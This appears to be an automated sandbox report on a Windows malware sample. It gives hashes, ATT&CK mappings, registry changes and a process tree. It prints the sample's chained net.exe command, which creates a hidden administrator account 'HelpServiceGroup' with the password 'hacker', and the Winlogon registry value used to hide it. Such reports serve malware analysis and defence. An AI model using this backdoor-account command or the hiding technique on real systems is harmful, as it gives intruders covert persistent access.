791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f

Analysis

max time kernel
96s
max time network
178s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
19/09/2022, 11:34

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General

Target

791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
Size

196KB
MD5

9a9bc53a852924cc6a0b2773f4924515
SHA1

99f6ed6b5d066fc675262054d379db6d1e92d84d
SHA256

791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f
SHA512

1d161a1d4f4ad9430a65e5bdb89846b9154366a4aecffffc354e18904de9af89e4577d2b71ce21dbe3238ee0c104325989aefec65cf915d76e4a0bd9f9432d19
SSDEEP

6144:CGHx7NOZxelAjG503Kx7+RMvC1QNXs4qAldlU6DyxD6QPB4d:lNOZclAjG503Kx7+RMvC1QZs4qAldlU6

Score

9^/10

persistence

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\drivers\services.exe	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
File opened for modification	C:\Windows\SysWOW64\drivers\services.exe	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
File created	C:\Windows\SysWOW64\drivers\services.exe	services.exe

Executes dropped EXE 2 IoCs

pid	Process
1784	services.exe
3136	services.exe

Modifies WinLogon 2 TTPs 6 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\HelpServiceGroup = "0"	services.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\HelpServiceGroup = "0"	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\	services.exe

Runs net.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
4656	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
4656	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
4656	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
1784	services.exe
1784	services.exe
1784	services.exe
3136	services.exe
3136	services.exe
3136	services.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 4656 wrote to memory of 4880	4656	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe	79
PID 4656 wrote to memory of 4880	4656	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe	79
PID 4656 wrote to memory of 4880	4656	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe	79
PID 4880 wrote to memory of 2000	4880	cmd.exe	81
PID 4880 wrote to memory of 2000	4880	cmd.exe	81
PID 4880 wrote to memory of 2000	4880	cmd.exe	81
PID 4656 wrote to memory of 1784	4656	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe	82
PID 4656 wrote to memory of 1784	4656	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe	82
PID 4656 wrote to memory of 1784	4656	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe	82
PID 2000 wrote to memory of 1392	2000	net.exe	83
PID 2000 wrote to memory of 1392	2000	net.exe	83
PID 2000 wrote to memory of 1392	2000	net.exe	83
PID 1784 wrote to memory of 4008	1784	services.exe	84
PID 1784 wrote to memory of 4008	1784	services.exe	84
PID 1784 wrote to memory of 4008	1784	services.exe	84
PID 1784 wrote to memory of 3136	1784	services.exe	86
PID 1784 wrote to memory of 3136	1784	services.exe	86
PID 1784 wrote to memory of 3136	1784	services.exe	86
PID 4008 wrote to memory of 3368	4008	cmd.exe	87
PID 4008 wrote to memory of 3368	4008	cmd.exe	87
PID 4008 wrote to memory of 3368	4008	cmd.exe	87
PID 3368 wrote to memory of 320	3368	net.exe	90
PID 3368 wrote to memory of 320	3368	net.exe	90
PID 3368 wrote to memory of 320	3368	net.exe	90
PID 3136 wrote to memory of 228	3136	services.exe	88
PID 3136 wrote to memory of 228	3136	services.exe	88
PID 3136 wrote to memory of 228	3136	services.exe	88
PID 228 wrote to memory of 4336	228	cmd.exe	91
PID 228 wrote to memory of 4336	228	cmd.exe	91
PID 228 wrote to memory of 4336	228	cmd.exe	91
PID 4336 wrote to memory of 1060	4336	net.exe	92
PID 4336 wrote to memory of 1060	4336	net.exe	92
PID 4336 wrote to memory of 1060	4336	net.exe	92
PID 4880 wrote to memory of 2636	4880	cmd.exe	93
PID 4880 wrote to memory of 2636	4880	cmd.exe	93
PID 4880 wrote to memory of 2636	4880	cmd.exe	93
PID 2636 wrote to memory of 1672	2636	net.exe	94
PID 2636 wrote to memory of 1672	2636	net.exe	94
PID 2636 wrote to memory of 1672	2636	net.exe	94
PID 4880 wrote to memory of 4680	4880	cmd.exe	95
PID 4880 wrote to memory of 4680	4880	cmd.exe	95
PID 4880 wrote to memory of 4680	4880	cmd.exe	95
PID 4680 wrote to memory of 4644	4680	net.exe	96
PID 4680 wrote to memory of 4644	4680	net.exe	96
PID 4680 wrote to memory of 4644	4680	net.exe	96
PID 4880 wrote to memory of 2920	4880	cmd.exe	97
PID 4880 wrote to memory of 2920	4880	cmd.exe	97
PID 4880 wrote to memory of 2920	4880	cmd.exe	97
PID 2920 wrote to memory of 804	2920	net.exe	98
PID 2920 wrote to memory of 804	2920	net.exe	98
PID 2920 wrote to memory of 804	2920	net.exe	98

C:\Users\Admin\AppData\Local\Temp\791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
"C:\Users\Admin\AppData\Local\Temp\791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe"
1⤵
- Drops file in Drivers directory
- Modifies WinLogon
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net user HelpServiceGroup hacker /add && net localgroup administrators HelpServiceGroup /add && net localgroup users HelpServiceGroup /delete && net user HelpServiceGroup /expires:never /passwordchg:no
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\SysWOW64\net.exe
    net user HelpServiceGroup hacker /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2000
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user HelpServiceGroup hacker /add
      4⤵
      PID:1392
- - C:\Windows\SysWOW64\net.exe
    net localgroup administrators HelpServiceGroup /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup administrators HelpServiceGroup /add
      4⤵
      PID:1672
- - C:\Windows\SysWOW64\net.exe
    net localgroup users HelpServiceGroup /delete
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4680
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup users HelpServiceGroup /delete
      4⤵
      PID:4644
- - C:\Windows\SysWOW64\net.exe
    net user HelpServiceGroup /expires:never /passwordchg:no
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user HelpServiceGroup /expires:never /passwordchg:no
      4⤵
      PID:804
- C:\Windows\SysWOW64\drivers\services.exe
  C:\Windows\system32\drivers\services.exe
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Modifies WinLogon
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c net user HelpServiceGroup hacker /add && net localgroup administrators HelpServiceGroup /add && net localgroup users HelpServiceGroup /delete && net user HelpServiceGroup /expires:never /passwordchg:no
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4008
  - - C:\Windows\SysWOW64\net.exe
      net user HelpServiceGroup hacker /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3368
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user HelpServiceGroup hacker /add
        5⤵
        
        PID:320
- - C:\Windows\SysWOW64\drivers\services.exe
    C:\Windows\system32\drivers\services.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3136
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c net user HelpServiceGroup hacker /add && net localgroup administrators HelpServiceGroup /add && net localgroup users HelpServiceGroup /delete && net user HelpServiceGroup /expires:never /passwordchg:no
      4⤵
      Suspicious use of WriteProcessMemory
      PID:228
    - - C:\Windows\SysWOW64\net.exe
        
        net user HelpServiceGroup hacker /add
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4336
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user HelpServiceGroup hacker /add
        6⤵
        
        PID:1060

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Windows\SysWOW64\drivers\services.exe

Filesize
196KB

MD5
9a9bc53a852924cc6a0b2773f4924515

SHA1
99f6ed6b5d066fc675262054d379db6d1e92d84d

SHA256
791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f

SHA512
1d161a1d4f4ad9430a65e5bdb89846b9154366a4aecffffc354e18904de9af89e4577d2b71ce21dbe3238ee0c104325989aefec65cf915d76e4a0bd9f9432d19

Download Submit
C:\Windows\SysWOW64\drivers\services.exe

Filesize
196KB

MD5
9a9bc53a852924cc6a0b2773f4924515

SHA1
99f6ed6b5d066fc675262054d379db6d1e92d84d

SHA256
791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f

SHA512
1d161a1d4f4ad9430a65e5bdb89846b9154366a4aecffffc354e18904de9af89e4577d2b71ce21dbe3238ee0c104325989aefec65cf915d76e4a0bd9f9432d19

Download Submit
C:\Windows\SysWOW64\drivers\services.exe

Filesize
196KB

MD5
9a9bc53a852924cc6a0b2773f4924515

SHA1
99f6ed6b5d066fc675262054d379db6d1e92d84d

SHA256
791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f

SHA512
1d161a1d4f4ad9430a65e5bdb89846b9154366a4aecffffc354e18904de9af89e4577d2b71ce21dbe3238ee0c104325989aefec65cf915d76e4a0bd9f9432d19

Download Submit